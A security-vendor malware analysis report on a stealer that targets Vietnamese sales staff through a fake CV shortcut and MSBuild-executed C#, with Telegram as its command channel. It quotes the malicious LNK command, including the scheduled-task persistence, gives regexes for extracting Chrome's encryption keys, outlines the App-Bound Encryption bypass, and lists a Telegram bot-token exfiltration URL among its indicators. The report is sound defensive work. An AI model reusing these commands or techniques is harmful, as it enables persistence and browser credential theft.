Table of Contents
Key Takeaways
- Cyble Research and Intelligence Labs (CRIL) identified malware being spread via a ZIP file containing an .LNK file disguised as a PDF and an XML project file masquerading as a PNG to trick users into opening it.
- The filename suggests that the malware is likely targeting organizations in Vietnam, particularly in the Telemarketing or Sales sectors.
- The LNK file creates a scheduled task that runs every 15 minutes, executing MSBuild.exe to deploy malicious C# code.
- The malware is capable of bypassing Chrome’s App-Bound Encryption and deploying a stealer payload to target sensitive Chrome-related files.
- Additionally, it uses the Double Injection technique to carry out fileless execution to evade detection.
- The malware establishes a connection to the Threat Actor (TA) through the Telegram Web API for command execution.
- The malware enables the TA to change the Telegram bot ID and chat ID as required, offering flexibility in controlling their communication channels.
Overview
Cyble Research & Intelligence Labs (CRIL) discovered malware potentially targeting organizations in Vietnam, especially those in the Telemarketing or Sales sectors. The initial infection vector is unknown at present.
This malware was discovered being delivered via a malicious ZIP archive containing an .LNK file disguised as a .PDF and an XML project file masquerading as a .PNG file, designed to deceive users into opening the fake PDF file. When executed, the shortcut file copies an XML project file to the Temp directory and initiates a command that creates a scheduled task running every 15 minutes. This task launches Microsoft Build Engine (MSBuild.exe) to execute embedded C# code from the XML file. The malicious code operates within the MSBuild.exe process, deploying different components based on the system’s architecture.
Upon further execution, the malware establishes communication with the TA via the Telegram Web API and listens for commands from the attacker. Depending on the specific commands received, the malware can perform several malicious activities. These include bypassing Chrome’s app-bound encryption to steal a secret encryption key, deploying a custom stealer, and exfiltrating sensitive user data from the Chrome browser, such as cookies, login data, and account login data.
Additionally, the malware allows the TA to modify the Telegram bot ID and chat ID as needed, providing flexibility in managing their communication channels. Furthermore, it can execute arbitrary commands through the Windows Command Prompt, allowing the TA to perform additional malicious activities on the infected system.
To avoid detection, the malware employs a double injection technique—Process Injection and Reflective DLL Injection—to stealthily execute malicious code in memory without leaving traces on the disk, making it harder for traditional security solutions to detect.
Infection chain:
The figure below shows the infection chain of this attack.
Technical Analysis
Upon analyzing the ZIP file – “CV Telesale Trần Huỳnh Cẩm Duyên.zip” – we found that it contains a malicious LNK file “CV_Dinh Thi Thuy.pdf.lnk” and an XML project file “logo.png”.
The attack begins with this malicious .LNK file – disguised with a .pdf extension – to deceive the user into opening it. Based on the filename, it is evident that TA is targeting individuals or organizations in Vietnam, primarily within the Telemarketing or Sales sectors.
When the user attempts to open the LNK file, it executes the following command mentioned in the shortcut’s target, which is executed via command prompt:
cmd.exe/c tar -xf Scan_document.zip|copy logo.png %temp%\darkmoon.xml &&schtasks /create /sc minute /mo 15 /tn Darkmoon_Gaming /tr “%comspec% /c powershell -nop -w h Start-Process -N -F C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe -A %temp%\darkmoon.xml” /f &&start ~logo.png
Since “Scan_document.zip” was not found during analysis, it suggests that the original ZIP archive “CV Telesale Trần Huỳnh Cẩm Duyên.zip” might have contained “Scan_document.zip” within it.
The above command copies the file “logo.png” to “%temp%\darkmoon.xml” and creates a scheduled task named “Darkmoon Gaming“, which runs every 15 minutes after being triggered. Additionally, it displays a fake error message to deceive the user into believing that the PDF failed to open.
Once the scheduled task is triggered, MSBuild.exe loads the project from the “%temp%\darkmoon.xml” file. As execution begins, the embedded C# code in the xml file performs an initial system check by verifying the number of processor cores. If the system has fewer than two CPU cores, the execution immediately halts and returns true, effectively preventing the malware from running on virtualized or low-resource environments that are often used for malware analysis.
If execution continues, the malware identifies the system architecture (32-bit or 64-bit) and locates the default installation path of MSBuild.exe. Based on this information, the malware decrypts the necessary malicious components at runtime using a combination of Base64 decoding and XOR decryption, utilizing hardcoded encryption keys embedded within the project file. This method keeps the payload obfuscated in its static form, making it more difficult for traditional security tools to detect.
The malicious components include a .NET executable that receives commands from the Threat Actor, an injector that delivers a payload capable of bypassing App Bound encryption, and a custom stealer designed to target Chrome-related files.
On a 64-bit machine, MSBuild.exe invokes the previously decrypted .NET file directly in memory using predefined parameters, ensuring execution without writing the payload into disk.
The .NET payload processes the following critical parameters:
- Telegram Bot ID – Establishes communication with the TA’s Telegram bot for command-and-control (C2) operations.
- Chat ID – Chat instance for sending system details and receiving commands.
- Encrypted custom stealer – Steals sensitive information from Google Chrome, including Cookies, Login data, and Login data for Accounts, along with the encrypted Secret key.
- Encrypted Injector– Utilizes Double injection technique to inject Reflective DLL loader into memory. The loader then injects a malicious DLL that bypasses Chrome’s app-bound encryption.
The malware first collects the victim’s username and then transmits it to the Threat Actor’s Telegram bot using the SendMessage function. To obfuscate the data, it replaces backslashes (\) with “+=…=+” and formats the message using <code> and </code> HTML tags, as shown below.
After transmitting this information, the malware enters an infinite loop, constantly awaiting a response from the Telegram bot. Upon receiving a command, it processes the input and executes the appropriate action.
Command | Action |
1 | Sends the victim’s system name to the Telegram bot. |
34 | The malware receives a command containing the obfuscated string “+=…=+”. It splits the command based on this delimiter and checks the number of resulting segments. If the count is exactly three, then it bypasses Chrome’s App-Bound Encryption and extracts the encryption key using an injector, sending it to the attacker via a Telegram bot. |
The segment count is four, then it executes the stealer payload to collect and exfiltrate Chrome-sensitive files. | |
91 | Updates the Telegram bot ID and chat ID based on C&C server instructions. |
45 | unknown |
Any other commands | Executes the received command using cmd.exe. |
Stealer Component
Upon execution, the Stealer component scans the Chrome user directory at “%LOCALAPPDATA%\Google\Chrome\User Data\Default” to locate critical files, including “Login data,” “Cookies,” and “Login Data for Accounts“. These files contain saved passwords, cookies, 2FA tokens, synced device credentials, autofill data, and other sensitive user information.
Additionally, it extracts Chrome’s encrypted secret key from the “Local State” file using a regex pattern:
“\s*.*?(?=”encrypted_key)”encrypted_key”\s*:\s*”(?<encKey>.*?)””
The extracted key is decrypted using the CryptUnprotectData Win32 API and, along with the stolen user data files, is archived into the %temp% directory for exfiltration. This decrypted key is essential for unlocking stored passwords and other encrypted browser data, enabling unauthorized access to sensitive accounts and personal information.
Injector Component
Starting from Chrome version 127, the Application-Bound Encryption method was introduced to encrypt cookies by tying them to the browser’s identity, ensuring only Chrome can access them. Subsequent versions extended this security measure to protect other sensitive data, including passwords and credentials, further preventing unauthorized decryption by external applications.
To bypass this restriction, the code in the injector component is hardcoded to target chrome_proxy.exe, located in the “\Google\Chrome\Application” directory. It launches “chrome_proxy.exe” in a suspended state using the CreateProcess API with the dwCreationFlags parameter set to CREATE_SUSPENDED.
While the process remains suspended, the injector decrypts a payload in memory, which functions as a Reflective loader. This loader is then injected into the process chrome_proxy.exe and utilizes reflective DLL injection to load the embedded payload, “DumpChromeKeyLoader.dll,” evading traditional antivirus detection.
This process effectively employs a double injection technique, where the first injection loads the Reflective Loader, and the second injection loads the final payload into the target process.
After injection, the “DumpChromeKeyLoader.dll” begins by locating the “Local State” file within the “AppData\Local\Google\Chrome\User Data” directory. This file contains critical Chrome configuration and security data, including the app_bound_encrypted_key, which is used to protect sensitive information such as cookies and saved passwords.
The malware uses a Regex pattern to locate the app_bound_encrypted_key within the Local State file. The pattern “\s*.*?(?=”app_bound_encrypted_key)”app_bound_encrypted_key”\s*:\s*”(?<encKey>.*?)” is employed to search for and extract the encrypted key. This pattern identifies the app_bound_encrypted_key string in the file and captures the encrypted key that follows it.
After extracting the encrypted key, the malware invokes the DecryptData method from GoogleChromeElevationService to obtain the decrypted key. This allows it to bypass Chrome’s Application-Bound Encryption and access protected data, including saved passwords and cookies. Once decrypted, the malware saves the extracted key to the “%temp%\ei5m013o.0fh” file for exfiltration.
Command Execution:
The Threat Actor can also execute commands via command prompt. If the TA issues any command that does not match one of their predefined commands, it will be executed as “cmd.exe /c <command>” in hidden mode, and the output will be sent to the TA through the Telegram Web API, as shown below.
Exfiltration:
After executing each command, the malware transmits the output or any errors to the Threat Actor (TA) via the Telegram Web API. This real-time communication allows the attacker to monitor execution results and adjust commands accordingly.
Conclusion:
This attack leverages fileless execution, scheduled task persistence, and Telegram-based communication to evade detection while stealing sensitive data. By exploiting MSBuild.exe and using a double injection technique, the malware executes directly in memory, making it harder to detect. Its ability to bypass Chrome’s Application-Bound Encryption and extract credentials further strengthens its impact. The use of Telegram Web API for exfiltration and dynamic bot ID switching ensures continued control over infected systems.
MITRE ATT&CK® Techniques
Tactic | Technique | Procedure |
Execution (TA0002) | Command and Scripting Interpreter: PowerShell (T1059.001) | LNK file uses PowerShell commands to launch MSBuild.exe |
Execution (TA0002) | Windows Command Shell (T1059.003) | LNK file uses cmd.exe, and TA uses cmd.exe for Command Execution |
Execution (TA0002) | User Execution: Malicious File (T1204.002) | Tricks user into opening a .LNK file |
Persistence (TA0003) | Scheduled Task/Job: Scheduled Task (T1053.005) | A scheduled task is created to execute the payload every 15 mins |
Privilege Escalation (TA0004) | Access Token Manipulation: Token Impersonation/Theft (T1134.001) | Attempts to impersonate the system token during execution |
Defense Evasion (TA0005) | Compile After Delivery (T1027.004) | MSBuild.exe is used to execute malicious C# code |
Defense Evasion (TA0005) | Deobfuscate/Decode Files or Information (T1140) | Base64 decode, and XOR decryption is used to decode/decrypt the payloads |
Credential Access (TA0006) | Credentials from Password Stores: Credentials from Web Browsers (T1555.003) | Access Google Chrome user files, which contain credentials, tokens, session keys, cookies, and other sensitive information. |
Exfiltration (TA0010) | Exfiltration Over Command and Control Channel (T1041) | The stolen data is sent using the Telegram web API |
Collection (TA0009) | Data Staged: Local Data Staging (T1074.001) | The extracted sensitive data is compressed into an archive and staged for exfiltration. |
Collection (TA0009) | Archive Collected Data: Archive via Library (T1560.002) | Cookies,Login data file is archived into %Temp% directory |
Command and Control (TA0011) | Application Layer Protocol: Web Protocols (T1071.001) | The malware communicates with the TA’s Telegram bot, sending system information and receiving commands. |
Recommendations:
- Train users to recognize suspicious file extensions and avoid opening files from untrusted sources. Implement strict email filtering to block potentially harmful attachments.
- Use application whitelisting to prevent the execution of unauthorized files, particularly .LNK and .exe files. Enforce strict control over file execution paths and extensions.
- Deploy endpoint detection and response (EDR) tools that monitor and block suspicious activities, such as reflective DLL injection or the creation of scheduled tasks by unauthorized processes.
- Keep operating systems, browsers, and other software up to date with the latest security patches. This reduces the risk of exploits targeting known vulnerabilities.
- Enforce the principle of least privilege by ensuring that users and processes have access to the minimum necessary resources. This limits malware’s ability to escalate privileges and access sensitive data.
Indicators of Compromise (IoCs):
Indicator | Type of Indicator | Description |
4c9a58b8a77a5f4c2e4a5ae070c25238aff20810b81e92393ef955f53e6eb5f3 | SHA-256 | CV Telesale Trần Huỳnh Cẩm Duyên.zip |
be210a706826056a9284d41ec13070d46a1465ea8eef8b8ae66c548dba7d3fd1 | SHA-256 | CV_Dinh Thi Thuy.pdf.lnk |
94227bd384cbc499c7b8c43a2cb67a4e866a9ab0e59b3433271fe3d8a98f809b | SHA-256 | logo.png |
hxxps://api.telegram.org/bot7627703707:AAH6TL7Iw6muIVgNjoYcp0OkKmYFg2S1fVE/sendMessage | URL | Telegram web api |